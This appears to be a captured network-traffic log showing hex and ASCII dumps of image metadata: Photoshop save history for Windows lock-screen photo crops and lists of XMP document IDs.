38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 36 3a 
33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 6b 61 69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 
5c 4d 53 2d 4d 69 6b 61 69 6c 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 38 35 32 33 39 38 33 5f 31 30 38 30 78 
31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
Data Ascii: indows10\Microsoft\Mikaila\Chosen\Crops\MS-Mikaila_GettyImages-554770339_1080x1920.jpg saved&#xA;2
017-06-07T08:36:37-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mikaila\Chosen\Crops\MS-Mikaila_Get
tyImages-568523983_1080x1920.jpg saved&#xA;2017

2022-05-13 14:42:07 UTC 3880 IN Data Raw: 2d 30 37 2d 31 33 54 31 39 3a 32 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 70 73 5c 
43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
34 38 38 35 30 38 35 38 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 37 2d 31 33 54 31 39 3a 33 32 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 
6e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 
Data Ascii: -07-13T19:27:03-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Tips\Chosen\Crops\Windows10-
Tips_GettyImages-488508586_1080x1920.jpg saved&#xA;2017-07-13T19:32:34-07:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Windows\Tips\Chosen\Crops\Windows10-Tips

2022-05-13 14:42:07 UTC 3952 IN Data Raw: 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 34 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 69 6e 6b 65 64 
49 6e 5c 4c 65 61 72 6e 69 6e 67 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 
6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 32 32 33 32 38 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 7
3 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 34 36 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 69 
6e 6b 65 64 49 6e 5c 4c 65 61 72 6e 69 6e 67 5c 43 68 6f 73 65 6e 5c 43 
Data Ascii: A;2017-08-14T13:46:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\LinkedIn\Learning\Chosen\Crops
\LinkedIn-Learning_GettyImages-108223280_1080x1920.jpg saved&#xA;2017-08-14T13:46:59-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\LinkedIn\Learning\Chosen\C

2022-05-13 14:42:07 UTC 3983 IN Data Raw: 32 31 3a 33 34 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6d 6d 79 73 5c 
43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 45 6d 6d 79 73 5f 73 68 75 
74 74 65 72 73 74 6f 63 6b 5f 34 37 33 31 37 31 39 32 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 32 31 3a 34 30 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 
5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 
Data Ascii: 21:34:29-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Emmys\Chosen\Crops\MIT-Entert
ainment-Emmys_shutterstock_473171920_1080x1920.jpg saved&#xA;2017-08-30T21:40:49-07:00&#x9;File C:\Users\v-
lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 20

2022-05-13 14:42:07 UTC 4079 IN Data Raw: 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 35 54 31 38 3a 30 
30 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 
74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 33 38 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 
74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 35 3a 32 36 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
Data Ascii: 4CCFC.psb saved&#xA;2017-10-25T18:00:34-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1
080x1920_Portrait.psd saved&#xA;2017-11-01T13:29:38-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd 
opened&#xA;2017-11-01T13:35:26-07:00&#x9;File C:\Users\v
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2022-05-13 14:42:07 UTC 4151 IN Data Raw: 6d 61 67 65 73 2d 35 36 30 31 32 39 35 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 33 31 3a 35 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 6
5 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6
c 61 63 65 6d 65 6e 74 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4d 61 72 6c 62 6f 72 6f 75 67 68 53 6f 75 6e 64 73 4e 6
5 6c 73 6f 6e 4e 5a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 33 33 33 30 31 38 5f 31 30 38 30 78 31 39 32 30 2e 
6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 
Data Ascii: mages-560129507_1080x1920.jpg saved&#xA;2017-12-04T13:31:51-08:00&#x9;File C:\Users\v-lizagh\MS\Wi
ndows10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\Replacements\Lock2017-B9_MarlboroughSoundsNelson
NZ_GettyImages-148333018_1080x1920.jpg saved&#xA;2017-12-

2022-05-13 14:42:07 UTC 4191 IN Data Raw: 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 
66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 53 
70 6f 74 6c 69 67 68 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 36 35 35 38 31 34 30 5f 31 30 38 30 
78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 35 3a 31 36 3a 35 36 
2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 7
0 73 5c 4f 66 66 69 63 65 53 70 6f 74 6c 69 67 68 74 46 59 31 38 
Data Ascii: le C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY18\CHOSEN\Crops\OfficeSpotlightFY18_GettyImages-
176558140_1080x1920.jpg saved&#xA;2017-12-14T15:16:56-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\
Spotlight_FY18\CHOSEN\Crops\OfficeSpotlightFY18

2022-05-13 14:42:07 UTC 4496 IN Data Raw: 39 30 43 42 45 30 41 33 36 46 39 34 42 42 42 45 38 30 36 33 31 43 36 2e 70 73 62 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 36 3a 34 30 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 5
4 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 
43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 37 
37 38 32 34 38 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 
34 54 31 37 3a 31 32 3a 30 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
Data Ascii: 90CBE0A36F94BBBE80631C6.psb saved&#xA;2018-01-24T16:40:28-08:00&#x9;File C:\Users\v-liza
gh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-
160778248_1080x1920.psd saved&#xA;2018-01-24T17:12:05-08:00&#x9;Fil

2022-05-13 14:42:07 UTC 4518 IN Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 
69 6f 6e 61 6c 5c 41 77 61 72 64 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 
5c 4d 49 54 2d 41 77 61 72 64 73 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 
34 39 39 30 31 38 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 
2d 32 36 54 30 38 3a 34 30 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 
73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 
Data Ascii: s\v-lizagh\MS\Windows10\MIT-International\AwardSeason-Movies-UK\CHOSEN\Crops\MIT-AwardsSeason-
Movies_GettyImages-644990188_1080x1920.jpg saved&#xA;2018-02-26T08:40:50-08:00&#x9;File C:\Users\v-lizag
h\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecov

2022-05-13 14:42:07 UTC 4668 IN Data Raw: 30 33 2d 31 32 54 31 34 3a 35 30 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 
63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 30 3a 34 36 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 
6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 
23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 30 3a 35 31 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
Data Ascii: 03-12T14:50:16-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Port
rait.psd saved&#xA;2018-03-15T00:46:47-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2018-03-15T
00:51:59-07:00&#x9;File C:\Users\v-lizagh\MS\Wi

2022-05-13 14:42:07 UTC 4835 IN Data Raw: 37 39 38 44 30 39 32 39 37 39 38 41 42 30 41 31 35 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 30 34 35 43 44 43 34 30 44 31 34 42 46 38 31 46 30 36 43 35 32 41 32 33 31 37 44 37 32 33 44 42 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 31 38 37 42 30 31 33 38 39 31 37 32 41 43 42 31 41 39 37 44 34 36 37 39 
37 45 31 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 34 41 39 38 36 42 36 45 39 30 46 42 31 4
2 35 46 34 42 31 45 45 38 42 41 43 41 30 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 39 42 38 
43 33 31 37 32 43 42 43 34 37 35 30 41 33 46 34 33 30 34 44 30 31 41 35 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 30 34 37 30 36 34 37 37 44 43 39 36 45 33 43 38 31 46 
Data Ascii: 798D0929798AB0A15D2</rdf:li> <rdf:li>045CDC40D14BF81F06C52A2317D723DB</rdf:li> <rdf:li>0
46187B01389172ACB1A97D46797E16C</rdf:li> <rdf:li>0464A986B6E90FB1B5F4B1EE8BACA050</rdf:li> <rdf:li>0
469B8C3172CBC4750A3F4304D01A50B</rdf:li> <rdf:li>04706477DC96E3C81F

2022-05-13 14:42:07 UTC 4851 IN Data Raw: 6c 69 3e 31 31 38 33 33 31 32 32 36 41 42 45 45 43 46 45 30 38 33 43 43 31 31 30 34 32 30 33 41 41 37 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 39 34 38 38 34 39 36 44 31 35 43 37 30 32 42 34 36 43 38 
38 39 32 45 43 34 39 30 42 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 39 38 44 37 36 42 44 31 3
8 31 42 43 41 34 33 44 38 44 46 33 32 41 34 39 39 31 30 42 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
31 31 39 46 46 35 46 42 35 33 31 35 32 41 30 46 37 31 45 35 41 38 32 44 37 36 44 44 42 44 31 46 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 41 45 32 31 41 35 41 34 33 34 42 43 34 44 39 39 38 39 35 31 35 42 34 36 42 42 
32 42 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 
Data Ascii: li>118331226ABEECFE083CC1104203AA7C</rdf:li> <rdf:li>119488496D15C702B46C8892EC490B7B</r
df:li> <rdf:li>1198D76BD181BCA43D8DF32A49910B33</rdf:li> <rdf:li>119FF5FB53152A0F71E5A82D76DDBD1F</rdf:li> 
<rdf:li>11AE21A5A434BC4D9989515B46BB2B47</rdf:li> <rdf:li>11

2022-05-13 14:42:07 UTC 5074 IN Data Raw: 3e 31 37 44 45 38 38 46 33 41 42 34 33 41 37 32 45 33 30 43 36 35 37 39 38 44 33 38 30 41 43 44 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 45 30 36 32 36 42 42 46 31 38 32 46 39 31 33 30 38 45 42 46 34 
39 35 38 33 35 36 30 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 45 36 31 32 34 37 32 31 42 43 4
1 31 44 34 46 38 36 32 33 34 43 43 35 44 33 45 45 41 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 
45 45 42 39 39 34 35 33 39 31 30 37 36 33 37 33 33 31 39 46 37 39 31 39 44 39 30 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 31 37 46 33 33 46 42 31 41 34 37 33 38 34 38 31 37 46 34 39 31 37 33 45 34 43 35 43 32 32 
32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 46 38 
Data Ascii: >17DE88F3AB43A72E30C65798D380ACDC</rdf:li> <rdf:li>17E0626BBF182F91308EBF49583560F3</rdf:li> 
<rdf:li>17E6124721BCA1D4F86234CC5D3EEAB4</rdf:li> <rdf:li>17EEB9945391076373319F7919D90F3B</rdf:li> <rdf:
li>17F33FB1A47384817F49173E4C5C222D</rdf:li> <rdf:li>17F8
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2022-05-13 14:42:07 UTC 5090 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 36 30 30 30 44 43 45 34 43 34 46 36 35 31 30 33 39 45 
45 45 46 37 36 31 45 36 45 38 43 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 36 31 32 39 46 43 34 
45 31 42 35 36 32 39 41 43 34 34 44 43 38 41 46 41 30 44 30 30 45 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 32 36 32 30 41 30 44 32 32 36 35 38 33 46 46 36 34 33 41 36 41 37 43 39 37 44 35 30 30 43 46 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 36 32 37 30 32 36 44 44 43 46 34 43 36 41 34 33 44 39 41 30 45 38 45 32 
45 33 43 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 36 33 41 41 31 41 37 32 38 38 33 45 32 
41 43 42 46 45 31 37 32 46 42 32 38 31 36 42 37 31 34 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>26000DCE4C4F651039EEEF761E6E8C47</rdf:li> <rdf:li>26129FC4E1B5629AC44DC
8AFA0D00E3C</rdf:li> <rdf:li>2620A0D226583FF643A6A7C97D500CF9</rdf:li> <rdf:li>2627026DDCF4C6A43D9A0
E8E2E3C982A</rdf:li> <rdf:li>263AA1A72883E2ACBFE172FB2816B714</rdf:

2022-05-13 14:42:07 UTC 5145 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 35 46 36 37 32 33 44 44 46 46 38 33 32 45 41 35 34 38 44 42 44 
33 37 31 42 36 32 41 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 36 38 45 32 37 35 32 34 46 34 
37 34 35 32 42 42 41 37 37 37 46 38 41 36 30 31 31 44 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 3
2 37 36 32 34 30 45 42 37 37 34 42 31 32 30 37 43 32 34 38 30 39 32 43 37 43 37 31 34 34 45 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 33 32 37 42 37 37 42 45 39 45 42 42 43 42 37 33 39 31 41 39 46 39 31 46 45 31 35 45 44 
46 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 37 42 41 32 35 37 45 45 46 38 45 44 41 41 43 34 
46 46 43 39 44 32 32 45 42 32 43 33 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: li> <rdf:li>325F6723DDFF832EA548DBD371B62A95</rdf:li> <rdf:li>3268E27524F47452BBA777F8A6
011D47</rdf:li> <rdf:li>3276240EB774B1207C248092C7C7144E</rdf:li> <rdf:li>327B77BE9EBBCB7391A9F91FE1
5EDF8E</rdf:li> <rdf:li>327BA257EEF8EDAAC4FFC9D22EB2C39B</rdf:li> <

2022-05-13 14:42:07 UTC 5153 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 31 33 31 33 45 37 45 30 31 38 43 43 43 42 42 36 44 33 34 33 42 37 45 
36 36 42 43 45 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 32 30 43 45 44 34 31 42 34 43 39 30 
35 46 36 41 36 33 43 44 37 36 35 35 42 32 32 32 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 34 3
1 35 33 38 37 38 41 41 43 38 36 41 42 38 33 45 42 42 31 30 34 36 32 35 38 34 36 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 33 39 34 37 41 44 35 31 42 41 42 44 43 44 35 45 37 33 35 31 46 38 45 42 39 32 30 30 30 44 44 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 39 35 34 43 45 43 35 46 30 31 35 46 36 35 35 34 31 43 32 32 
37 42 31 38 34 34 37 37 36 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>391313E7E018CCCBB6D343B7E66BCE34</rdf:li> <rdf:li>3920CED41B4C905F6A63CD7655B2
223C</rdf:li> <rdf:li>394153878AAC86AB83EBB1046258463D</rdf:li> <rdf:li>3947AD51BABDCD5E7351F8EB9200
0DD4</rdf:li> <rdf:li>3954CEC5F015F65541C227B184477697</rdf:li> <rd

2022-05-13 14:42:07 UTC 5169 IN Data Raw: 41 41 45 38 36 44 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 43 31 38 43 31 37 44 
44 35 36 39 36 43 32 42 32 33 36 41 41 41 39 38 41 32 37 39 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 34 36 32 35 31 30 46 33 31 37 42 41 37 36 38 43 43 30 44 36 32 38 33 36 30 36 39 33 46 37 37 34 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 43 42 37 46 41 44 35 33 34 38 37 32 42 43 37 32 36 38 31 30 32 30 46 31 
37 42 41 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 35 32 30 41 33 44 45 34 45 39 44 37 34 31 
39 44 46 41 42 37 30 43 46 41 46 36 45 41 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 35 34 38 
33 46 32 46 43 45 39 36 43 34 44 35 38 42 42 45 32 33 30 35 44 35 32 36 
Data Ascii: AAE86D3A</rdf:li> <rdf:li>461C18C17DD5696C2B236AAA98A2795A</rdf:li> <rdf:li>462510F317BA
768CC0D628360693F774</rdf:li> <rdf:li>463CB7FAD534872BC72681020F17BA0B</rdf:li> <rdf:li>46520A3DE4E9
D7419DFAB70CFAF6EA91</rdf:li> <rdf:li>465483F2FCE96C4D58BBE2305D526

2022-05-13 14:42:07 UTC 5193 IN Data Raw: 30 41 43 32 39 35 38 44 33 43 38 34 36 31 43 30 31 36 37 44 39 41 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 33 30 41 30 31 36 36 33 30 35 32 35 46 46 30 39 34 43 34 33 43 33 33 46 30 41 33 43 41 43 46 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 30 42 31 31 31 39 36 31 32 44 37 38 46 45 37 30 36 33 39 30 
31 35 35 46 46 33 38 39 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 31 35 38 39 32 33 33 31 31 3
1 37 39 41 37 37 32 39 38 36 31 33 38 39 30 45 36 34 32 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 
33 32 31 32 34 44 43 44 30 30 46 41 32 33 39 45 46 42 46 42 42 32 42 34 37 32 33 30 36 42 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 35 33 33 34 42 41 42 42 38 41 36 35 39 
Data Ascii: 0AC2958D3C8461C0167D9A39</rdf:li> <rdf:li>530A016630525FF094C43C33F0A3CACF</rdf:li> <rdf
:li>530B1119612D78FE706390155FF38921</rdf:li> <rdf:li>53158923311179A77298613890E6427D</rdf:li> <rdf
:li>532124DCD00FA239EFBFBB2B472306BC</rdf:li> <rdf:li>5334BABB8A659

2022-05-13 14:42:07 UTC 5240 IN Data Raw: 45 38 41 46 37 46 39 38 37 34 30 46 34 43 30 42 46 36 45 43 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 35 39 45 32 38 45 32 33 44 37 43 36 42 35 35 37 30 36 36 41 44 38 34 37 35 46 39 38 39 31 43 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 45 33 34 43 43 39 45 36 43 32 34 42 44 39 41 46 30 34 46 41 32 35 
31 33 42 38 46 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 46 30 30 31 41 41 35 38 46 35 39 3
8 39 45 38 38 34 37 30 38 37 42 33 35 32 35 41 45 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 46 
41 37 45 43 46 30 38 39 31 31 42 31 46 30 39 36 30 32 31 37 31 39 35 34 44 33 31 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 35 39 46 42 42 37 30 39 46 44 45 32 42 31 37 
Data Ascii: E8AF7F98740F4C0BF6EC72</rdf:li> <rdf:li>59E28E23D7C6B557066AD8475F9891C1</rdf:li> <rdf:l
i>59E34CC9E6C24BD9AF04FA2513B8F0A8</rdf:li> <rdf:li>59F001AA58F5989E8847087B3525AE7E</rdf:li> <rdf:l
i>59FA7ECF08911B1F09602171954D315B</rdf:li> <rdf:li>59FBB709FDE2B17

2022-05-13 14:42:07 UTC 5272 IN Data Raw: 37 38 41 37 45 43 31 34 39 43 35 43 43 32 38 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 
38 37 35 33 38 33 35 44 42 39 46 39 37 34 37 37 42 36 45 30 41 33 43 33 39 34 39 44 39 30 35 3c 2f 72 64 66 3a 6c 69 
